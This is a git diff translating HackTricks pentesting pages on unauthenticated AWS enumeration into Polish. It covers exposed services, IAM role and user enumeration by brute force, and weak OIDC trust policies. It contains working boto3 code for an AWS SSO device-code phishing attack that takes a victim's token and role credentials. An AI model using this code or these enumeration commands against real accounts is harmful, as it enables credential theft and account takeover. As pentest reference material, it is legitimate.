-4,16 +4,15 @@ ## ECS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Publicly Accessible Security Group or Load Balancer for ECS Services - -A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks. +### Publicznie dostępna grupa zabezpieczeń lub load balancer dla usług ECS +Źle skonfigurowana grupa zabezpieczeń, która **pozwala na ruch przychodzący z internetu (0.0.0.0/0 lub ::/0)** do usług Amazon ECS, może narażać zasoby AWS na ataki. ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' @@ -21,9 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain # Example of detecting a publicly accessible load balancer for ECS services aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 3a73a7328..ecc2013d5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -4,38 +4,32 @@ ## Elastic Beanstalk -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Web vulnerability +### Wrażliwość w sieci -Note that by default Beanstalk environments have the **Metadatav1 disabled**. +Zauważ, że domyślnie środowiska Beanstalk mają **Metadatav1 wyłączone**. -The format of the Beanstalk web pages is **`https://-env..elasticbeanstalk.com/`** +Format stron internetowych Beanstalk to **`https://-env..elasticbeanstalk.com/`** -### Insecure Security Group Rules +### Niezabezpieczone zasady grupy zabezpieczeń -Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**. +Źle skonfigurowane zasady grupy zabezpieczeń mogą narażać instancje Elastic Beanstalk na dostęp publiczny. **Zbyt liberalne zasady przychodzące, takie jak zezwolenie na ruch z dowolnego adresu IP (0.0.0.0/0) na wrażliwych portach, mogą umożliwić atakującym dostęp do instancji**. -### Publicly Accessible Load Balancer +### Publicznie dostępny load balancer -If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments. +Jeśli środowisko Elastic Beanstalk korzysta z load balancera, a load balancer jest skonfigurowany jako publicznie dostępny, atakujący mogą **wysyłać żądania bezpośrednio do load balancera**. Chociaż może to nie stanowić problemu dla aplikacji internetowych, które mają być publicznie dostępne, może to być problem dla aplikacji lub środowisk prywatnych. -### Publicly Accessible S3 Buckets +### Publicznie dostępne kosze S3 -Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**. - -### Enumerate Public Environments +Aplikacje Elastic Beanstalk są często przechowywane w koszach S3 przed wdrożeniem. Jeśli kosz S3 zawierający aplikację jest publicznie dostępny, atakujący mogą **pobrać kod aplikacji i szukać w nim luk lub wrażliwych informacji**. +### Enumeracja publicznych środowisk ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 6ed2b74fe..6ef5bba80 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -2,15 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Szablon publicznego URL-a ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index b6092fda4..16fea5400 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -2,171 +2,157 @@ {{#include ../../../banners/hacktricks-training.md}} -## Enumerate Roles & Usernames in an account +## Enumerowanie ról i nazw użytkowników w koncie -### ~~Assume Role Brute-Force~~ +### ~~Brute-Force za pomocą Assume Role~~ > [!CAUTION] -> **This technique doesn't work** anymore as if the role exists or not you always get this error: +> **Ta technika już nie działa** ponieważ, niezależnie od tego, czy rola istnieje, czy nie, zawsze otrzymujesz ten błąd: > -> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` +> `Wystąpił błąd (AccessDenied) podczas wywoływania operacji AssumeRole: Użytkownik: arn:aws:iam::947247140022:user/testenv nie ma uprawnień do wykonania: sts:AssumeRole na zasobie: arn:aws:iam::429217632764:role/account-balanceasdas` > -> You can **test this running**: +> Możesz **przetestować to uruchamiając**: > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return: - +Próba **przyjęcia roli bez niezbędnych uprawnień** wywołuje komunikat o błędzie AWS. Na przykład, jeśli brak uprawnień, AWS może zwrócić: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` - -This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**: - +Ta wiadomość potwierdza istnienie roli, ale wskazuje, że jej polityka przyjmowania ról nie pozwala na twoje przyjęcie. W przeciwieństwie do tego, próba **przyjęcia nieistniejącej roli prowadzi do innego błędu**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` +Interesująco, ta metoda **rozróżniania między istniejącymi a nieistniejącymi rolami** ma zastosowanie nawet w różnych kontach AWS. Posiadając ważny identyfikator konta AWS i docelową listę słów, można enumerować role obecne w koncie bez napotkania jakichkolwiek wrodzonych ograniczeń. -Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. +Możesz użyć tego [skryptu do enumeracji potencjalnych głównych](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) wykorzystując ten problem. -You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. +### Polityki zaufania: Brute-Force ról i użytkowników między kontami -### Trust Policies: Brute-Force Cross Account roles and users - -Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. +Konfigurowanie lub aktualizowanie **polityki zaufania roli IAM polega na określeniu, które zasoby lub usługi AWS mają prawo przyjąć tę rolę** i uzyskać tymczasowe poświadczenia. Jeśli określony zasób w polityce **istnieje**, polityka zaufania zapisuje się **pomyślnie**. Jednak jeśli zasób **nie istnieje**, generowany jest **błąd**, wskazujący, że podano nieprawidłowego głównego. > [!WARNING] -> Note that in that resource you could specify a cross account role or user: +> Zauważ, że w tym zasobie możesz określić rolę lub użytkownika między kontami: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` -This is a policy example: - +To jest przykład polityki: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::216825089941:role/Test" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] } ``` - #### GUI -That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating) +To jest **błąd**, który znajdziesz, jeśli używasz **roli, która nie istnieje**. Jeśli rola **istnieje**, polityka zostanie **zapisana** bez żadnych błędów. (Błąd dotyczy aktualizacji, ale działa również podczas tworzenia) ![](<../../../images/image (153).png>) #### CLI - ```bash ### You could also use: aws iam update-assume-role-policy # When it works aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json { - "Role": { - "Path": "/", - "RoleName": "Test-Role", - "RoleId": "AROA5ZDCUJS3DVEIYOB73", - "Arn": "arn:aws:iam::947247140022:role/Test-Role", - "CreateDate": "2022-05-03T20:50:04Z", - "AssumeRolePolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::316584767888:role/account-balance" - }, - "Action": [ - "sts:AssumeRole" - ] - } - ] - } - } +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} } # When it doesn't work aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` - -You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) +Możesz zautomatyzować ten proces za pomocą [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): +Używając [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration +- Rola `admin` użyta w przykładzie to **rola w twoim koncie, która ma być udawana** przez pacu, aby stworzyć polityki, które są potrzebne do enumeracji ### Privesc -In the case the role was bad configured an allows anyone to assume it: - +W przypadku, gdy rola była źle skonfigurowana i pozwala każdemu na jej przyjęcie: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` +Napastnik mógłby po prostu to założyć. -The attacker could just assume it. - -## Third Party OIDC Federation - -Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\ -This trust might give access to a role with the following **trust policy**: +## Federacja OIDC osób trzecich +Wyobraź sobie, że udało ci się przeczytać **Github Actions workflow**, który uzyskuje dostęp do **roli** w **AWS**.\ +To zaufanie może dać dostęp do roli z następującą **polityką zaufania**: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Ta polityka zaufania może być poprawna, ale **brak dodatkowych warunków** powinien budzić twoje wątpliwości.\ +Dzieje się tak, ponieważ poprzednią rolę może przejąć **KTOKOLWIEK z Github Actions**! Powinieneś również określić w warunkach inne rzeczy, takie jak nazwa organizacji, nazwa repozytorium, środowisko, gałąź... -This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\ -This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach... - -Another potential misconfiguration is to **add a condition** like the following: - +Inną potencjalną błędną konfiguracją jest **dodanie warunku** takiego jak poniżej: ```json "StringLike": { - "token.actions.githubusercontent.com:sub": "repo:org_name*:*" +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` - -Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action. +Zauważ, że **wildcard** (\*) przed **dwukropkiem** (:). Możesz stworzyć organizację taką jak **org_name1** i **przyjąć rolę** z akcji Github. ## References @@ -174,7 +160,3 @@ Note that **wildcard** (\*) before the **colon** (:). You can create an org such - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index fd4d31de6..e95115023 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -4,33 +4,30 @@ ## AWS Device Code Phishing -Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. +Początkowo zaproponowane w [**tym wpisie na blogu**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), możliwe jest wysłanie **linku** do użytkownika korzystającego z AWS SSO, który, jeśli **użytkownik zaakceptuje**, pozwoli atakującemu uzyskać **token do podszywania się pod użytkownika** i uzyskać dostęp do wszystkich ról, do których użytkownik ma dostęp w **Identity Center**. -In order to perform this attack the requisites are: +Aby przeprowadzić ten atak, wymagania są następujące: -- The victim needs to use **Identity Center** -- The attacker must know the **subdomain** used by the victim `.awsapps.com/start` +- Ofiara musi korzystać z **Identity Center** +- Atakujący musi znać **subdomenę** używaną przez ofiarę `.awsapps.com/start` -Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. +Mając tylko powyższe informacje, **atakujący będzie mógł wysłać link do użytkownika**, który, jeśli **zostanie zaakceptowany**, przyzna **atakującemu dostęp do konta użytkownika AWS**. -### Attack +### Atak -1. **Finding the subdomain** +1. **Znalezienie subdomeny** -The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. - -With this info, it's possible to get the region where the Indentity Center was configured with: +Pierwszym krokiem atakującego jest ustalenie subdomeny, której używa firma ofiary w swoim Identity Center. Można to zrobić za pomocą **OSINT** lub **zgadywania + BF**, ponieważ większość firm będzie używać swojej nazwy lub jej wariacji. +Dzięki tym informacjom możliwe jest uzyskanie regionu, w którym skonfigurowano Identity Center: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` +2. **Wygeneruj link dla ofiary i wyślij go** -2. **Generate the link for the victim & Send it** - -Run the following code to generate an AWS SSO login link so the victim can authenticate.\ -For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: - +Uruchom poniższy kod, aby wygenerować link logowania AWS SSO, aby ofiara mogła się uwierzytelnić.\ +Dla demonstracji uruchom ten kod w konsoli Pythona i nie wychodź z niej, ponieważ później będziesz potrzebować niektórych obiektów do uzyskania tokena: ```python import boto3 @@ -39,82 +36,77 @@ AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS sso_oidc = boto3.client('sso-oidc', region_name=REGION) client = sso_oidc.register_client( - clientName = 'attacker', - clientType = 'public' +clientName = 'attacker', +clientType = 'public' ) client_id = client.get('clientId') client_secret = client.get('clientSecret') authz = sso_oidc.start_device_authorization( - clientId=client_id, - clientSecret=client_secret, - startUrl=AWS_SSO_START_URL +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL ) url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` +Wyślij wygenerowany link do ofiary, używając swoich niesamowitych umiejętności inżynierii społecznej! -Send the generated link to the victim using you awesome social engineering skills! +3. **Czekaj, aż ofiara to zaakceptuje** -3. **Wait until the victim accepts it** - -If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\ -This is how the promp looks nowadays: +Jeśli ofiara była **już zalogowana w AWS**, wystarczy, że zaakceptuje przyznanie uprawnień, jeśli nie była, będzie musiała **zalogować się, a następnie zaakceptować przyznanie uprawnień**.\ +Tak wygląda obecnie monit:
-4. **Get SSO access token** - -If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**: +4. **Uzyskaj token dostępu SSO** +Jeśli ofiara zaakceptowała monit, uruchom ten kod, aby **wygenerować token SSO, podszywając się pod użytkownika**: ```python token_response = sso_oidc.create_token( - clientId=client_id, - clientSecret=client_secret, - grantType="urn:ietf:params:oauth:grant-type:device_code", - deviceCode=deviceCode +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` +Token dostępu SSO jest **ważny przez 8h**. -The SSO access token is **valid for 8h**. - -5. **Impersonate the user** - +5. **Podszyj się pod użytkownika** ```python sso_client = boto3.client('sso', region_name=REGION) # List accounts where the user has access aws_accounts_response = sso_client.list_accounts( - accessToken=sso_token, - maxResults=100 +accessToken=sso_token, +maxResults=100 ) aws_accounts_response.get('accountList', []) # Get roles inside an account roles_response = sso_client.list_account_roles( - accessToken=sso_token, - accountId= +accessToken=sso_token, +accountId= ) roles_response.get('roleList', []) # Get credentials over a role sts_creds = sso_client.get_role_credentials( - accessToken=sso_token, - roleName=, - accountId= +accessToken=sso_token, +roleName=, +accountId= ) sts_creds.get('roleCredentials') ``` - ### Phishing the unphisable MFA -It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. +Ciekawe jest to, że poprzedni atak **działa nawet jeśli używane jest "unphisable MFA" (webAuth)**. Dzieje się tak, ponieważ poprzedni **workflow nigdy nie opuszcza używanej domeny OAuth**. W przeciwieństwie do innych ataków phishingowych, gdzie użytkownik musi zastąpić domenę logowania, w przypadku, gdy workflow kodu urządzenia jest przygotowane, **kod jest znany przez urządzenie** i użytkownik może zalogować się nawet na innym urządzeniu. Jeśli zaakceptuje monit, urządzenie, po **znaniu początkowego kodu**, będzie w stanie **odzyskać dane uwierzytelniające** dla użytkownika. -For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). +Aby uzyskać więcej informacji, [**sprawdź ten post**](https://mjg59.dreamwidth.org/62175.html). ### Automatic Tools @@ -129,7 +121,3 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217 - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index 38622c338..e4eb52157 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Szablon publicznego URL-a ``` mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 58b8a1309..5437a43a7 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Szablon publicznego URL ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 5109a2044..afb1a9955 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -4,23 +4,17 @@ ## Public Function URL -It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities. +Możliwe jest powiązanie **Lambda** z **publicznym adresem URL funkcji**, do którego każdy ma dostęp. Może on zawierać luki w zabezpieczeniach. ### Public URL template - ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` +### Uzyskaj identyfikator konta z publicznego adresu URL Lambda -### Get Account ID from public Lambda URL +Podobnie jak w przypadku koszy S3, Data Exchange i bramek API, możliwe jest znalezienie identyfikatora konta, wykorzystując **`aws:ResourceAccount`** **Policy Condition Key** z publicznego adresu URL lambda. Robi się to, znajdując identyfikator konta jeden znak na raz, wykorzystując znaki wieloznaczne w sekcji **`aws:ResourceAccount`** polityki.\ +Ta technika pozwala również uzyskać **wartości tagów**, jeśli znasz klucz tagu (istnieją domyślne interesujące). -Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Możesz znaleźć więcej informacji w [**oryginalnych badaniach**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) oraz w narzędziu [**conditional-love**](https://github.com/plerionhq/conditional-love/), aby zautomatyzować tę eksploitację. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index 2bbc4fdd6..33e692e44 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Szablon publicznego URL ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index ab06211e2..7a7e22791 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -6,21 +6,15 @@ ### **RabbitMQ** -In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-.mq.us-east-1.amazonaws.com/` +W przypadku **RabbitMQ**, domyślnie publiczny dostęp i ssl są włączone. Ale potrzebujesz **poświadczeń**, aby uzyskać dostęp (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Ponadto, możliwe jest **uzyskanie dostępu do konsoli zarządzania w sieci**, jeśli znasz poświadczenia w `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ -In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access. +W przypadku **ActiveMQ**, domyślnie publiczny dostęp i ssl są włączone, ale potrzebujesz poświadczeń, aby uzyskać dostęp. ### Public URL template - ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 9bbbd408d..650b9bf33 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -4,19 +4,13 @@ ### Public Port -It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured). +Możliwe jest **ujawnienie brokera Kafka publicznie**, ale będziesz potrzebować **poświadczeń**, uprawnień IAM lub ważnego certyfikatu (w zależności od skonfigurowanej metody uwierzytelniania). -It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet. +Możliwe jest również **wyłączenie uwierzytelniania**, ale w takim przypadku **nie można bezpośrednio ujawnić** portu w Internecie. ### Public URL template - ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 218300e3f..4126de5d8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## RDS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,12 +12,11 @@ For more information check: ## Public Port -It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database. +Możliwe jest udostępnienie publicznego dostępu do **bazy danych z internetu**. Atakujący nadal musi **znać nazwę użytkownika i hasło,** dostęp IAM lub **eksploit,** aby uzyskać dostęp do bazy danych. ## Public RDS Snapshots -AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account: - +AWS pozwala na **dostęp dla każdego do pobierania zrzutów RDS**. Możesz bardzo łatwo wylistować te publiczne zrzuty RDS z własnego konta: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -33,16 +32,9 @@ aws rds describe-db-snapshots 